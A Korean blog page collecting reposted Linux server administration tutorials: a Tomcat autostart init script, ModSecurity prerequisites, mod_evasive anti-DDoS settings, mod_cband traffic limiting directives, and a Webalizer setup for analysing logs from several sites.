출처 loves0508님의 블로그 | 시쿵
원문 http://blog.naver.com/loves0508/3092689
Linux on Tomcat 자동 실행 하기

linux에서 부팅시 tomcat 자동시작
부팅시 tomcat 가동하기...

# vi /etc/rc.d/tomcat 새로운 파일을 만든다

################### 여기 부터 ##########################
#!/bin/sh
# Source function library.
. /etc/rc.d/init.d/functions

source /etc/profile
export TOMCAT_HOME=/usr/local/tomcat4

# See how we were called.
case "$1" in
start)
echo -n "Starting tomcat EXPERIMENTAL: "
daemon $TOMCAT_HOME/bin/startup.sh
echo
;;
stop)
echo -n "Shutting down tomcat EXPERIMENTAL: "
daemon $TOMCAT_HOME/bin/shutdown.sh
echo
;;
restart)
$0 stop
$0 start
;;
*)
echo "Usage: $0 {start|stop|restart}"
exit 1
esac

exit 0
###################### 여기 까지 ######################

# chmod 755 /etc/rc.d/romcat  권한 설정
# /etc/rc.d/tomcat   실행테스트

Usage : {start|stop|restart} 이 메세지가 뜨면 완성

# cd /etc/rc.d
# ln -s tomcat rc3.d/S90tomcat
# ln -s tomcat rc5.d/S90tomcat
# ln -s tomcat rc6.d/K90tomcat

각 폴더 에 링크 생성(부팅시 텍스트 모드,그래픽모드)

신고

웹방화벽 modsecurity를 설치하려면 libpcre가 가 설치 되있어야 한다

yum -y install pcre
yum -y install pcre-devel

modsecurity 소스 디렉토리/apache2/ 로 이동

./configure --with-apxs=/usr/local/apache/bin/apxs --with-pcre=/usr/bin --with-apr=/usr/local/apache/bin/apr-1-config --with-apu=/usr/local/apache/bin/apu-1-config --with-libxml=/usr/local/libxml

신고

mod_evasive는 Apache 모듈로서 간단하게 아파치 웹서버를 공격하는 DDos공격을 차단하는 모듈입니다. 하드웨어적으로 별도의 DDos방화벽을 설치하지 못하는 중소규모의 웹서버 및 소규모 VPS환경에서 비교적 효율적으로 사용할 수 있습니다. 하지만 성능이 웹서버의 성능에 좌우되므로 가장 최선의 방법은 웹서버와 별도로 하드웨어적인 DDos를 차단하는 솔루션을 고려해야 합니다. 여기서는 간단히 Apache 2.0이상의 웹서버에서 사용하는 방법을 살펴보겠습니다.

우선 mod_evasive를 다운로드합니다. http://www.zdziarski.com/projects/mod_evasive/ 에서 최신버전의 mod_evasive를 다운로드 합니다. wget으로 직접 경로를 서버상에서 받아도 되며, 다운로드후 다시 자신의 웹서버로 FTP업로드해도 상관없습니다. 가령 /home 경로에 업로드 했다고 가정합니다.

압축풀기 및 설치

tar xzvf mod_evasive_1.10.1.tar.gz
cd mod_evasive
/usr/local/apache2/bin/apxs -iac mod_evasive20.c


Apache2 환경설정

자신의 웹서버의 httpd.conf 파일을 열어 아래를 추가합니다. 그런 다음 Apache 웹서버를 재시작 합니다.

LoadModule evasive20_module /usr/local/apache2/modules/mod_evasive20.so

<IfModule mod_evasive.c>
        DOSHashTableSize          3097
        DOSPageCount              3
        DOSSiteCount                50
        DOSPageInterval            1
        DOSSiteInterval              1
        DOSBlockingPeriod        30

        DOSEmailNotify             test@test.com
        DOSLogDir                    "/usr/local/apache2/logs/mod_evasive.log"
        DOSSystemCommand   "iptables -I INPUT -s %s -j DROP"
    DOSWhitelist                     127.0.0.1
</IfModule>


모듈설정


모듈설정에 대한 자료는 http://guni.loveyust.net/136 에서 참조하였습니다. 다만, DOSSystemCommand 를 IPTABLES로 차단하도록 명령어를 변경했습니다. 참조하세요.

- DOSHashTableSize
각 자식 해쉬테이블 마다 탑레벨 노드의 수를 지정한다.
수치가 높으면 높을수록 더 많은 퍼포먼스가 나타나지만 테이블스페이스에 메모리를 남기게 된다,
접속량이 많으면 이 수치를 높혀도 된다.

- DOSPageCount
이것은 같은 페이지 또는 URI, 인터벌당 요청수에 대한 카운트 수이다.
지정된 값이 초과되면 클라이언트에 대한 IP 정보가 블러킹리스트에 추가된다.

- DOSSiteCount
지정된 시간동안 같은 페이지를 지정된 수 보다 초과될경우 IP 정보가 블러킹리스트에 추가된다.

- DOSPageInterval
페이지 카운트 시발점, 디폴트는 1초이다.

- DOSSiteInterval
사이트 카운트 시발점, 디폴트는 역시 1초이다.

- DOSBlockingPeriod
클라이언트가 블랙리스트에 추가되어 블러킹되는 총 시간. 이때 클라이언트는 403(Forbidden) 에러를 출력하게 된다.

- DOSEmailNotify
이 값이 지정되면, IP가 블러킹될때마다 지정된 이메일로 발동된다.
주의 : 메일러는 mod_dosevasive.c 에 정확하게 지정되야 한다. 디폴트는 "/bin/mail -t %s" 이다.

- DOSLogDir
로그 파일 경로

- DOSSystemCommand
이 값이 지정되면, 시스템은 아이피가 블러킹될때마다 명령행을 실행한다.

- DOSWhitelist
차단에서 제외될 호스트
DOSWhitelist    127.0.0.1

신고

출처 : http://linux.tini4u.net/stories.php?story=07/01/12/8248075

글쓴이: 티니 (2007년 01월 12일 오전 12:10) 읽은수: 434

--------------------------------------------------------------------------------------
- 작성자 : 김혁중(티니) [sky(golbangi or at)tini4u.net]
- 작성일 : 2007-01-11
- 사이트 :
http://linux.tini4u.net/
- 원제목 : 아파치 2.x 에서의 트래픽 제한
- 환 경 : CentOS 4.4, apache 2.2
- 키워드 : mod_cband
--------------------------------------------------------------------------------------
지난 강좌에서 아파치 1.x에서의 트래픽을 제한하는 모듈을 설명해 드렸습니다.
하지만 throttle 모듈은 아파치 1.x에서만 작동하기 때문에 아파치 2.x를 사용하시는 분들은
사용할 수 없다는 최대단점이 있습니다.
또한 최근엔 Legacy 딱지가 붙은 아파치 1.x보다는 최신버전인 아파치 2.x를 사용하시는 분들이
꽤 많기 때문에 그런 분들은 트래픽 제한을 하는데 있어 곤란함을 겪을 수 있습니다.
그렇지만 아파치 2.x에서도 트래픽을 제한할 수 있는 모듈이 있습니다. 바로 cband 모듈 인데요.
이 모듈은 throttle과 매우 흡사한 기능과 구조를 가지고 있지만, 트래픽을 제한하는 기능 말고도
또 한가지의 기능이 있습니다.
바로 대역폭을 제한하는 bandwidth 기능 입니다.
기존 아파치 1.x에서는 트래픽제한은 throttle 모듈을, 대역폭제한은 bandwidth 모듈을 이용했습니다.
그러나 아파치 2.x에서는 cband 모듈을 이용함으로써 두가지의 기능을 모두 사용할 수 있습니다.
또한 xml 형태로의 데이터까지 얻을 수 있기 때문에 관리자 입장에서 매우 반가울 수 밖에 없습니다.

1. mod_cband 설치 (최신버전:
http://cband.linux.pl/)

[root@localhost]# wget http://cband.linux.pl/download/mod-cband-0.9.7.5.tgz
[root@localhost]# tar xfz mod-cband-0.9.7.5.tgz
[root@localhost]# cd mod-cband-0.9.7.5
[root@localhost]# ./configure --with-apxs=/usr/sbin/apxs
[root@localhost]# make
[root@localhost]# make install


2. 아파치 환경설정에서의 cband 설정
cband 모듈 또한 throttle와 마찬가지로 3rd-party 모듈이기 때문에 아파치에서 설정을 합니다.
  1. [root@localhost]# vi /etc/httpd/conf/httpd.conf
  2. <IfModule mod_cband.c>
  3.     <Location /cband-status>
  4.         SetHandler cband-status
  5.         Order Deny,Allow
  6.         Deny from All
  7.         Allow from 127.0.0.1 100.100.100.100
  8.     </Location>
  9.     <Location /cband-me>
  10.         SetHandler cband-status-me
  11.         Order deny,allow
  12.         Deny from all
  13.         Allow from all
  14.     </Location>
  15. </IfModule>

  16. ※ SetHandler 설명
    cband-status -> 관리자 페이지 입니다. 따라서 접근을 허용할 IP를 입력해주셔야 됩니다.
    cband-me -> 사용자 페이지 입니다.

    3. cband 적용
    cband는 각 호스트에 대해서 여러가지 지시자를 사용하여 설정 할 수 있습니다.
    아래는 여러가지 지시자중 하나인 가장 많이 사용되는 CbandLimit을 사용한 예제 입니다.
    1. ※ 각각의 호스트에 따로따로 설정해줄 때
    2. <VirtualHost 192.168.0.1>
    3.     ServerName foobar.com
    4.     ServerAlias www.foobar.com
    5.     DocumentRoot /home/foobar/public_html
    6.     ErrorLog logs/foobar-err
    7.     CustomLog logs/foobar-acc combined
    8.     CBandLimit 100Mi
    9.     CBandPeriod 1D
    10. </VirtualHost>

    11. ※ 위 설정은 1Day 동안 100M의 트래픽을 허용하겠다는 설정입니다.

      1. ※ 하나의 유저(foobar)가 여러개의 호스트를 사용하고 있는 경우 (트래픽 공유)
      2. <CBandUser foobar>
      3.     CBandUserLimit 100Mi
      4.     CBandUserPeriod 1D
      5. </CBandUser>
      6. <VirtualHost 192.168.0.1>
      7.     ServerName foobar.com
      8.     ServerAlias www.foobar.com
      9.     DocumentRoot /home/foobar/public_html
      10.     ErrorLog logs/foobar-err
      11.     CustomLog logs/foobar-acc combined
      12.     CBandUser foobar
      13. </VirtualHost>
      14. <VirtualHost 192.168.0.1>
      15.     ServerName foobar2.com
      16.     ServerAlias www.foobar2.com
      17.     DocumentRoot /home/foobar2/public_html
      18.     ErrorLog logs/foobar2-err
      19.     CustomLog logs/foobar2-acc combined
      20.     CBandUser foobar
      21. </VirtualHost>

      22. ※ 위 설정은 foobar 유저에게 1Day 동안 100M의 트래픽을 허용하겠다는 설정이며,
        foobar.com과 foobar2.com에서 foobar 유저의 트래픽을 공유해서 사용하겠다는 것입니다.

        4. cband 단위
        - 전송속도 단위
        kbps, Mbps, Gbps - bits per second, 의미: 1024, 1024*1024, 1024*1024*1024 bps
        kb/s, Mb/s, Gb/s - bytes per second, 의미: 1024, 1024*1024, 1024*1024*1024 b/s
        기본값 : kbps

        - 트래픽 제한 단위
        K, M, G - bytes, 의미: 1000, 1000*1000, 1000*1000*1000 bytes
        Ki, Mi, Gi - bytes, 의미: 1024, 1024*1024, 1024*1024*1024 bytes
        기본값: K

        - 시간 단위
        S, M, H, D, W - 초, 분, 시간, 일, 주. 의미: 1, 60, 3600, 86400, 604800 Seconds
        기본값: S


        5. cband 지시자
        이름: CBandDefaultExceededURL
        설명: 제한을 초과했을때 보여줄 URL
        문맥: Server config
        문법: CBandDefaultExceededURL [URL]
        예제: CBandDefaultExceededURL
        http://foobar.com/503.html

        이름: CBandDefaultExceededCode
        설명: 제한을 초과했을시 보여줄 에러 코드
        문맥: Server config
        문법: CBandDefaultExceededCode [HTTP_CODE]
        예제: CBandDefaultExceededCode 509

        이름: CBandScoreFlushPeriod
        설명: scoreboard 파일에 기록할 요청수를 정하나, cband 퍼포먼스에 영향을 미칩니다.
        기본값: 1
        문맥: Server config
        문법: CBandScoreFlushPeriod [요청수]
        예제: CBandScoreFlushPeriod 100
            100번의 요청이 들어오면 scoreboard 파일에 한번 기록합니다.

        이름: CBandSpeed
        설명: 가상호스트 도메인의 최대 속도, 요청수, 접속수 설정
        문맥: <Virtualhost>
        문법: CBandSpeed [kbps] [rps] [max_conn]
            kbps - 초당 최대 전송속도
            rps - 초당 최대 요청수
            max_conn - 최대 동시 접속수
        예제: CBandSpeed 1024 10 30
            호스트에 대해 1024kbps 전송속도로 제한하며, 초당 10개의 요청을 처리하고,
            동시 접속을 30개로 제한합니다.

        이름: CBandRemoteSpeed
        설명: 호스트 접속자의 최대속도, 요청수, 접속수 제한
        문맥: <Virtualhost>
        문법: CBandRemoteSpeed [kbps] [rps] [max_conn]
            kbps - 초당 최대 전송속도
            rps - 초당 최대 요청수
            max_conn - 최대 동시 접속수
        예제: CBandRemoteSpeed 20kb/s 3 3
            호스트 접속자에 대해 1024kbps 전송속도로 제한하며,
            초당 10개의 요청을 처리하고, 동시 접속을 30개로 제한합니다.

        이름: CBandClassRemoteSpeed
        설명: IP class의 최대속도, 요청수, 접속수 제한
        문맥: <Virtualhost>
        문법: CBandClassRemoteSpeed [class_name] [kbps] [rps]
            kbps - 초당 최대 전송속도
            rps - 초당 최대 요청수
            max_conn - 최대 동시 접속수
        예제:
        <CBandClass googlebot_class>
          CBandClassDst 66.249.64/24
          CBandClassDst 66.249.65/24
          CBandClassDst 66.249.79/24
        </CBandClass>
        CBandClassRemoteSpeed googlebot_class 20kb/s 2 3
        googlebot_class 클래스에 대해 20kb/s 전송속도로 제한하며,
        초당 10개의 요청을 처리하고, 동시 접속을 30개로 제한합니다.

        이름: CBandRandomPulse
        설명: 속도 제한을 위해서 임의의 파형을 생성한 다음 처리하는 방법입니다.
        문맥: Global
        문법: CBandRandomPulse [On/Off]
        예제: CBandRandomPulse On

        이름: CBandLimit
        설명: 제한할 전송량을 설정한다.
        문맥: <Virtualhost>
        문법: CBandLimit [limit]
            limit - 전송량, 사용단위: K(kilo), M(mega), G(giga), Ki(kibi), Mi(mebi), Gi(gibi)
        예제: CBandLimit 10M
            전송량을 10M(10*1000*1000bytes)로 제한한다.
            CBandLimit 10Mi
            전송량을 10M(10*1024*1024bytes)로 제한한다.

        이름: CBandClassLimit
        설명: IP class에 대해 제한할 전송량 설정
        문맥: <Virtualhost>
        문법: CBandClassLimit [class_name limit]
            class_name - 클래스 이름
            limit - 전송량, 사용단위: K(kilo), M(mega), G(giga), Ki(kibi), Mi(mebi), Gi(gibi)

        이름: CBandExceededURL
        설명: 제한을 초과했을때 보여줄 URL
        문맥: <Virtualhost>
        문법: CBandExceededURL [URL]
        예제: CBandExceededURL
        http://foobar.com/503.html

        이름 : CBandExceededSpeed
        설명: 전송량을 초과했을때의 전송속도 제한 설정
        문맥: <Virtualhost>
        문법: CBandExceededSpeed [kbps] [rps] [max_conn]
            kbps - 초당 최대 전송속도
            rps - 초당 최대 요청수
            max_conn - 최대 동시 접속수

        이름: CBandScoreboard
        설명: 가상호스트의 scoreboard 파일 지정
        문맥: <Virtualhost>
        문법: CBandScoreboard [path]

        이름: CBandPeriod
        설명: 제한기간
        문맥: <Virtualhost>
        문법: CBandPeriod [period]
            period - 사용단위: S(초), M(분), H(시간), D(일), W(주)
        예제: CBandPeriod 1D

        이름 : CBandPeriodSlice
        설명: 기간을 나눌 기간 명시
        기본값: slice_len = limit
        문법: CBandPeriodSlice [slice_length]
        예제: CBandLimit 100G
            CBandPeriod 4W
            CBandPeriodSlice 1W
        지정된 제한값을 1주일 단위로 나누어 사용 합니다.
        위 설정을 해석하면 4주는 1주일 단위로 나누며, 용량은 100G/4주=25G로 사용 합니다.

        이름: <CBandUser>
        설명: 새로운 cband 가상 사용자 설정
        문맥: Server config
        문법: <CBandUser user_name>

        이름: CBandUserSpeed
        설명: cband 가상 사용자의 속도, 요청수, 동시 접속수 제한
        문맥: <CBandUser>
        문법: CBandUserSpeed [kbps] [rps] [max_conn]
            kbps - 초당 최대 전송속도
            rps - 초당 최대 요청수
            max_conn - 최대 동시 접속수
        예제: CBandUserSpeed 100kb/s 10 5

        이름: CBandUserLimit
        설명: cband 가상 사용자의 전송 용량 제한
        문맥: <CBandUser>
        문법: CBandUserLimit [limit]
            limit - 사용용량, 사용단위: K(kilo), M(mega), G(giga), Ki(kibi), Mi(mebi), Gi(gibi)
        예제: CBandUserLimit 10M
            전송량을 10M(10*1000*1000bytes)로 제한한다.
            CBandUserLimit 10Mi
            전송량을 10M(10*1024*1024bytes)로 제한한다.

        이름: CBandUserClassLimit
        설명: cband 가상 사용자의 IP class에 대해 제한할 전송량 설정
        문맥: <CBandUser>
        문법: CBandUserClassLimit [class_name] [limit]
            class_name - 클래스 이름
            limit - 전송량, 사용단위: K(kilo), M(mega), G(giga), Ki(kibi), Mi(mebi), Gi(gibi)

        이름 : CBandUserExceededURL
        설명: cband 가상 사용자의 제한을 초과했을때 보여줄 URL
        문맥: <CBandUser>
        문법: CBandUserExceededURL URL
        예제: CBandDefaultExceededURL
        http://foobar.com/503.html

        이름: CBandUserExceededSpeed
        설명: cband 가상 사용자의 전송량을 초과했을때의 전송속도 제한 설정
        문맥: <CBandUser>
        문법: CBandUserExceededSpeed [kbps] [rps] [max_conn]
            kbps - 초당 최대 전송속도
            rps - 초당 최대 요청수
            max_conn - 최대 동시 접속수

        이름: CBandUserScoreboard
        설명: cband 가상 사용자의 scoreboard 파일 지정
        문맥: <CBandUser>
        문법: CBandUserScoreboard [path]

        이름: CBandUserPeriod
        설명: cband 가상 사용자의 제한기간
        문맥: <CBandUser>
        문법: CBandUserPeriod [period]
            period - 사용단위: S(초), M(분), H(시간), D(일), W(주)
        예제: CBandPeriod 1D

        이름: CBandUserPeriodSlice
        설명: cband 가상 사용자의 기간을 나눌 기간 명시
        기본값: slice_len = limit
        문맥: <CBandUser>
        문법: CBandUserPeriodSlice [slice_length]
        예제: CBandLimit 100G
            CBandPeriod 4W
            CBandPeriodSlice 1W
        지정된 제한값을 1주일 단위로 나누어 사용 합니다.
        위 설정을 해석하면 4주는 1주일 단위로 나누며, 용량은 100G/4주=25G로 사용 합니다.


        6. 통계화면 보기
        관리자모드 -
        http://foobar.com/cband-status
        관리자모드(xml) - http://foobar.com/cband-status?xml
        사용자모드 - http://foobar.com/cband-me
        사용자모드(xml) - http://foobar.com/cband-me?xml

        7. 통계화면에 아파치 인증 걸기
        throttle 강좌에서도 말씀드렸지만 통계화면의 제한은 IP의 형태로 제한을 하는게 정설입니다.
        그렇지만 IP가 자주 변경되는 분들은 매번 IP를 변경해주는것도 하나의 일이 될 수 있습니다.
        따라서 이런 경우에는 아파치 인증을 걸어서 사용하시면 편리할 것입니다.
        1. [root@localhost]# vi /etc/httpd/conf/httpd.conf
        2. <IfModule mod_cband.c>
        3.     <Location /cband-status>
        4.         SetHandler cband-status
        5.         AuthName "트래픽관리 페이지"
        6.         AuthType Basic
        7.         AuthUserFile /home/foobar/.htpasswd
        8.         require valid-user
        9.     </Location>
        10.     <Location /cband-me>
        11.         SetHandler cband-status-me
        12.         Order deny,allow
        13.         Deny from all
        14.         Allow from all
        15.     </Location>
        16. </IfModule>
        17. [root@localhost]# htpasswd -c /home/foobar/.htpasswd ID

신고

#####################################################################

"리눅스포털 - 슈퍼유저코리아" 사이트를 참고로 다시 작성했습니다.

#####################################################################       

 

### Webalizer 설치 및 환경설정

웹서버 특히 웹호스팅서버를 관리하는 일은 대부분 웹마스터나 서버관리자가 하게된다. 웹서버를 운영한다면 반드시 웹로그를 분석해야하는 일을 하게된다. 그 역할 또한 서버관리자가 하는 경우가 대부분이다. 대개는 웹마스터가 서버관리를 겸하는 경우가 대부분인데, 여기서 설명하는 경우는 단순한 웹로그분석이 아닌 여러 개의 웹사이트를 자동으로 분석하는 방법에 대한 것이다. 공식적인 명칭은 아니지만 설명의 편의성을 위하여 동시에 여러 개의 웹로그파일을 자동으로 분석하는 방법을 “멀티웹로그분석”이라고 하겠다. 하나의 웹사이트가 아닌 여러 개의 웹사이트의 웹로그를 분석하는 일은 단순한 작업이 아닐 것이다. 단순히 하나의 서버에 하나의 웹로그만 분석하는 일은 그렇게 어려운 작업은 아니다.

 

한대의 서버에 여러 개의 웹사이트를 운용하고 있다면 웹로그를 분석 할 때마다 모두 수작업을 한다면 시간과 작업량에 있어서 여간 힘든일이 아닐 것이다. 서버관리라는 관점에서 웹로그분석법을 다루고자 하는 것은 단순한 웹로그분석법만을 다루고자하는 것이 아니라 여러 개의 웹사이트를 주기적으로 자동분석되게 하는 방법에 대한 내용을 다루고자 하는 것이다앞에서도 누차 강조드린 바와 같이 서버관리자는 주기적이고 단순 반복적인 작업들은 자동화, 단순화 시켜나가면서 서버관리업무를 체계화 시켜나가야한다.

 

이번에 설명할 webalizer를 통한 웹로그분석 또한 이런 관점에서 단순한 웹로그분석 방법 보다는 많은 웹사이트의 웹로그를 각각 자동분석되게 하여 그 결과 또한 사이트별로 각각 확인할 수 있도록 하는 방법을 제시할 것이다. 

 

, 그럼 webalizer의 웹로그분석법에 대한 설명을 시작해 보겠다.

우선, webalizer의 특징에 대해서 간단히 설명하면 다음과 같다.

 

- C언어로 개발되었기 때문에 실행속도가 굉장히 빠르다.

  + 200Mhz펜티엄에서 초당 10000레코드 처리.
  + accesswatch는 Perl로 개발되었으며, webalizer에 비해 그 속도가 현저하게 떨어진다.

- common, combined 로그 포맷지원(combined를 사용하면 로그파일크기가 커지지만, 자세한 정보를 얻을 수 있다)

- 설정파일이나 커맨드라인을 이용하여 리포트를 커스터마이징 가능
- 특히, 한국어를 지원한다는 점에 굉장한 매력이 있다.

- webalizer는 C로 개발되었지만 그 소스를 공개하고 있다.

- 분석대상이 되는 소스파일의 크기에 제한이 없다. 

 

1) Webalizer 다운로드 받을 수 있는 곳

- ftp://ftp.superuser.co.kr (http://ftp.superuser.co.kr/pub/weblog/webalizer/)

- http://www.mrunix.net/webalizer/ 또는

- http://www.webalizer.com

 

2) Webalizer 설치

먼저 다운받은 Webalizer를 설치해 보겠다. 앞서도 말씀드렸지만 설치방법을 포함하여 여기서 설명드리는 모든 내용들은 단순한 방법이 아닌 호스팅서버등에서 여러 개의 웹사이트의 웹로그분석을 동시에 자동으로 설정하는 방법에 대한 것이다.

 

아래 보는 바와 같이 현재 작업위치는 /usr/local 입니다. 물론, 다른위치에서 작업을 하셔도 상관없지만 대부분 소스를 가져와서 설치하는 위치는 /usr/local로 하고 있다.

 

아래 예처럼 가져온 webalizer의 압축을 풀어준다. tgz로 압축되어 있는 파일은 tar와 gzip으로 압축이 되어있는 것이므로 tar에서 xvfz라는 옵션으로 풀어주시면 된다.

 

압축을 풀고나면 webalizer 디렉토리가 생성이되면서 그 디렉토리내에 필요한 파일들이 들어간다.

 

다음 작업은 configure작업이다. Configure할 때에는 한국어 지원을 위해서 옵션을 -with-language=korean을 준다.

 

configure작업이 정상적으로 끝났다면 이번에는 컴파일(make)을 합니다. 컴파일은 아래 예처럼 “make”라고만 하면 된다.

  

컴파일 작업까지 정상적으로 끝났다면 이번에는 “make install”으로 설치작업을 하면 된다.

설치작업까지 정상적으로 끝났다면 webalizer의 설치는 끝난 것이다.

 

이제부터 Webalizer를 이용하여 여러 개(여기서는 3개)의 사이트를 동시에 자동분석하는 방법에 대해서 알아보자.

 

3) 웹로그분석을 위한 가상호트스 및 로그파일 구성도

이제 본격적으로 웹사이트분석을 하도록 하겠다. 우선, 다음과 같이 3개의 웹사이트가 서버내에서 설치되어 운용되고 있다는 가정을 하겠다. 아래는 3개의 웹사이트를 위한 가상호스트 설정입니다.

이들 3개의 웹사이트의 구성방법은 모두 동일하다. 그리고 Webalizer를 포함한 디렉토리구성은 다음과 같다.

 

 - 기본 홈페이지 위치 : /home/ID/www/
 - 웹로그파일 위치 : /home/ID/www_log/access_log

 - 웹로그분석 결과가 저장될 위치 : /home/ID/www/weblog

 - 웹로그 결과 확인방법 : http://도메인/weblog

 

위의 구성은 분석하고자하는 모든 웹사이트에 동일하게 적용이되는 구성이다. 즉 모든 웹사이트의 홈디렉토리는 /home/ID/www/가 될 것이며, 웹로그파일의 저장 위치는 /home/ID/www_log/access_log가 될 것이다. 그리고 Webalizer로 분석된 결과가 저장 위치는 각각 /home/ID/www/weblog가 된다. 그리고 Webalizer 분석결과를 웹으로 확인하는 방법은 http://도메인/weblog로 각각 확인할 수 있다.

 

위의 예는 여기서 예로든 3개의 웹사이트의 로그파일위치를 각각 확인한 것이다.

 

4) 웹로그 분석을 위한 Webalizer 환경구성

여러 개의 웹사이트를 동시에 분석하려면 다음과 같은 작업이 필요하다 .

현재 webalizer가 설치된 위치는 /usr/local/webalizer이며 webalizer뒤에는 버전번호가 붙여져 있지만 가능하다면 버전번호를 생략한 webalizer라는 이름으로 변경을 해주시는 것이 좋다.

[root@inter-devel ~]# cd /usr/local/
[root@inter-devel local]# pwd
/usr/local
[root@inter-devel local]# ln -s webalizer-2.01-10 webalizer

 

Webalizer를 설치하고난 후에는 설치시에 생성되지 않는 디렉토리와 파일들을 만들어 주셔야합니다. 이 또한 멀티웹로그분석을 위한 작업입니다.

 

 - 환경설정파일 디렉토리 : /usr/local/webalizer/conf/개별도메인.conf

 - 실행 쉘스크립트 파일 : /usr/local/webalizer/bin/webalizer.sh

 

이 두개의 디렉토리와 파일들은 모두 직접 만들어 줘야한다. 그리고 webalizer.conf 파일에는 분석대상이 되는 모든 웹사이트의 웹로그분석을 위한 설정파일들이 “도메인.conf”라는 파일이름으로 각각 한 개씩 생성해야한다. 그리고 /usr/local/webalizer/bin에 생성되는 webalizer.sh 파일 또한 직접 만들어 줘야하며 이 파일에는 개별 conf 파일들을 하나씩 분석하기 위한 실행명령들이 들어가게 된다.

 

5) Webalizer의 실행설정파일 만들기

, 그럼 먼저 conf 디렉토리를 아래와 같이 만들자.

 

그리고 이 디렉토리내에서 분석하고자하는 대상 도메인의 설정파일(*.conf)파일을 다음과 같이 만들어 줘야한다.

Webalizer설치하고 나면 “make install”과정에서 샘플설정파일(webalizer.conf.sample)이 /etc/디렉토리내에 생성된다. 따라서 아래의 예처럼 이 샘플파일을 도메인에 하나씩 복사해오면 된다.

 

모두 복사된 후에 개별 도메인의 설정파일들을 확인한 것이다.

 

무엇보다 중요한 것은 이렇게 복사해온 샘플파일의 내용은 개별 도메인의 환경과는 맞지않다는 것이다. 따라서 개별 도메인의 환경에 맞게 조금 수정을 해줘야하는데 수정하는 내용은 꼭 필요한 5개 항목만 변경해주면 된다.

 

수정해주실 항목은 개별 설정파일내의 5개항목이며 다음과 같다.

 

 - LogFile        : 로그파일 위치 (예 : /home/bsuhak/www_log/access_log)

 - OutputDir      : 분석결과 저장위치 (예 : /home/bsuhak/www/weblog)

 - HistoryName  : 사이트명 (예 : bsuhak.com)

 - ReportTitle    : 분석결과 페이지 이름 (예 : BSUHAK.COM WebSite)

 - HostName     :  호스트명 FQDN형식 (예 : www.bsuhak.com)

 

다음의 예는 위의 3개의 설정파일중 하나인 bsuhak.com.conf 파일의 예를 보인 것이다. 3개 파일 모두 vi로 파일을 열어서 최소한 5개 부분은 맞게 수정을 해줘야 한다. 만약 분석하는 사이트수가 3개 이상된다 하더라도 모두 이와 같은 방법으로 수정해주면 된다. 아래의 진하게 표시된 부분이 수정해줘야 할 부분이다. 

 

[root@su2 conf]# cat bsuhak.com.conf

LogFile        /home/bsuhak/www_log/access_log

#LogType        clf

OutputDir      /home/bsuhak/www/weblog

HistoryName     bsuhak.com

#Incremental    no

#IncrementalName        webalizer.current

ReportTitle    BSUHAK.COM WebSite

HostName       www.bsuhak.com

#HTMLExtension  html

PageType        htm*

PageType        cgi

#PageType       phtml

#PageType       php3

#PageType       pl

#UseHTTPS       no

#DNSCache       dns_cache.db

#DNSChildren    0

#HTMLPre <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

#HTMLHead <META NAME="author" CONTENT="The Webalizer">

#HTMLBody <BODY BGCOLOR="#E8E8E8" TEXT="#000000" LINK="#0000FF" VLINK="#FF0000">

#HTMLPost       <BR CLEAR="all">

#HTMLTail <IMG SRC="msfree.png" ALT="100% Micro$oft free!">

#HTMLEnd </BODY></HTML>

#Quiet          no

#ReallyQuiet    no

#TimeMe         no

#GMTTime                no

#Debug          no

#FoldSeqErr     no

#VisitTimeout   1800

#IgnoreHist     no

#CountryGraph   yes

#DailyGraph     yes

#DailyStats     yes

#HourlyGraph    yes

#HourlyStats    yes

#GraphLegend    yes

#GraphLines     2

 

#TopSites        30

#TopKSites       10

#TopURLs         30

#TopKURLs        10

#TopReferrers    30

#TopAgents       15

#TopCountries    30

#TopEntry        10

#TopExit         10

#TopSearch       20

#TopUsers        20

 

#AllSites       no

#AllURLs        no

#AllReferrers   no

#AllAgents      no

#AllSearchStr   no

#AllUsers       no

 

#IndexAlias     home.htm

#IndexAlias     homepage.htm

 

#HideSite       *mrunix.net

#HideSite       localhost

 

#HideReferrer   mrunix.net/

 

#HideReferrer   Direct Request

 

HideURL         *.gif

HideURL         *.GIF

HideURL         *.jpg

HideURL         *.JPG

HideURL         *.png

HideURL         *.PNG

HideURL         *.ra

 

#HideAgent      RealPlayer

 

#HideUser       root

#HideUser       admin

 

#GroupURL       /cgi-bin/*      CGI Scripts

#GroupURL       /images/*       Images

 

#GroupSite      *.aol.com

#GroupSite      *.compuserve.com

 

#GroupReferrer  yahoo.com/      Yahoo!

#GroupReferrer  excite.com/     Excite

#GroupReferrer  infoseek.com/   InfoSeek

#GroupReferrer  webcrawler.com/ WebCrawler

 

#GroupUser      root            Admin users

#GroupUser      admin           Admin users

#GroupUser      wheel           Admin users

 

#GroupAgent     MSIE            Micro$oft Internet Exploder

#HideAgent      MSIE

#GroupAgent     Mozilla         Netscape

#HideAgent      Mozilla

#GroupAgent     Lynx*           Lynx

#HideAgent      Lynx*

 

#HideAllSites   no

 

#GroupDomains   0

 

#GroupShading   yes

 

#GroupHighlight yes

 

#IgnoreSite     bad.site.net

#IgnoreURL      /test*

#IgnoreReferrer file:/*

#IgnoreAgent    RealPlayer

#IgnoreUser     root

 

#IgnoreURL      *

#IncludeURL     ~joeuser*

 

#IgnoreUser     *

#IncludeUser    someuser

 

#MangleAgents    0

 

SearchEngine    yahoo.com       p=

SearchEngine    altavista.com   q=

SearchEngine    google.com      q=

SearchEngine    eureka.com      q=

SearchEngine    lycos.com       query=

SearchEngine    hotbot.com      MT=

SearchEngine    msn.com         MT=

SearchEngine    infoseek.com    qt=

SearchEngine    webcrawler      searchText=

SearchEngine    excite          search=

SearchEngine    netscape.com    search=

SearchEngine    mamma.com       query=

SearchEngine    alltheweb.com   query=

SearchEngine    northernlight.com  qr=

 

#DumpPath       /var/lib/httpd/logs

 

#DumpHeader     no

 

#DumpExtension  tab

 

#DumpSites      no

#DumpURLs       no

#DumpReferrers  no

#DumpAgents     no

#DumpUsers      no

#DumpSearchStr  no

 

6) Webalizer의 실행파일 생성하기

이제 마지막으로 지금까지 설정했던 개별 설정파일들(*.conf)의 실행을 위한 실행 쉘스크립트파일인 webalizer.sh를 생성해 줄 단계이다.

아래 예를 보시는 바와 같이 webalizer.sh는 설치 후에 생성되는 것이 아니며 멀티웹로그분석을 위해 직접 생성한 것이다.

 

위치는 /usr/local/webalizer/bin이며 이 위치에 webalizer.sh라는 실행파일이 위와 같이 생성되게 된다. 참고로 하나의 예만 본다면

 

/usr/local/bin/webalizer -c /usr/local/webalizer/conf/bsuhak.com.conf > /home/bsuhak/www/weblog/bsuhak.com

 

